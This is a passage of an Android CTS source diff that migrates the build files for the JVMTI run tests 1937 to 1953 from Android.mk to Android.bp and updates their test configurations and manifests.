@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1937HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1937/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1937/AndroidTest.xml
index 9ea6184..c2b38b1 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1937/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
new file mode 100644
index 0000000..b9005dd
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1937DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1937/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1937/app/Android.mk
deleted file mode 100644
index adabfd6..0000000
--- a/hostsidetests/jvmti/run-tests/test-1937/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1937DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1939/Android.bp b/hostsidetests/jvmti/run-tests/test-1939/Android.bp
new file mode 100644
index 0000000..43685b9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1939/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1939HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1939DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1939/Android.mk b/hostsidetests/jvmti/run-tests/test-1939/Android.mk
deleted file mode 100644
index a2e39e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1939/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1939HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1939/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1939/AndroidTest.xml
index ac510c1..62a9fe5 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1939/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
new file mode 100644
index 0000000..f0cf4dd
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1939DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1939/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1939/app/Android.mk
deleted file mode 100644
index fb2de3f..0000000
--- a/hostsidetests/jvmti/run-tests/test-1939/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1939DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1941/Android.bp b/hostsidetests/jvmti/run-tests/test-1941/Android.bp
new file mode 100644
index 0000000..94eeb35
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1941/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1941HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1941DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1941/Android.mk b/hostsidetests/jvmti/run-tests/test-1941/Android.mk
deleted file mode 100644
index d03e486..0000000
--- a/hostsidetests/jvmti/run-tests/test-1941/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1941HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1941/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1941/AndroidTest.xml
index dc68b7a..b958615 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1941/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
new file mode 100644
index 0000000..d0f3c0c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1941DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1941/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1941/app/Android.mk
deleted file mode 100644
index 75540fa..0000000
--- a/hostsidetests/jvmti/run-tests/test-1941/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1941DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1942/Android.bp b/hostsidetests/jvmti/run-tests/test-1942/Android.bp
new file mode 100644
index 0000000..b7dd9aa
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1942/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1942HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1942DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1942/Android.mk b/hostsidetests/jvmti/run-tests/test-1942/Android.mk
deleted file mode 100644
index 754bd2d..0000000
--- a/hostsidetests/jvmti/run-tests/test-1942/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1942HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1942/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1942/AndroidTest.xml
index 15913d3..82d03a6 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1942/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
new file mode 100644
index 0000000..7a7d4a8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1942DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1942/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1942/app/Android.mk
deleted file mode 100644
index c3f6d0e..0000000
--- a/hostsidetests/jvmti/run-tests/test-1942/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1942DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1943/Android.bp b/hostsidetests/jvmti/run-tests/test-1943/Android.bp
new file mode 100644
index 0000000..9266e79
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1943/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1943HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1943DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1943/Android.mk b/hostsidetests/jvmti/run-tests/test-1943/Android.mk
deleted file mode 100644
index 19e44aa..0000000
--- a/hostsidetests/jvmti/run-tests/test-1943/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1943HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1943/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1943/AndroidTest.xml
index c03d4d9..997f914 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1943/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
new file mode 100644
index 0000000..afcbbd0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1943DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1943/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1943/app/Android.mk
deleted file mode 100644
index e53b894..0000000
--- a/hostsidetests/jvmti/run-tests/test-1943/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1943DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1953/Android.bp b/hostsidetests/jvmti/run-tests/test-1953/Android.bp
new file mode 100644
index 0000000..b428f90
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1953HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1953DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml
new file mode 100644
index 0000000..3e4e876
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest1953DeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest1953HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest1953DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_1953" />
+        <option name="runtime-hint" value="8s"/>
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
new file mode 100644
index 0000000..663050b
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1953DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1953/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1953/app/AndroidManifest.xml
new file mode 100644
index 0000000..9068e43
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_1953">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1953" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
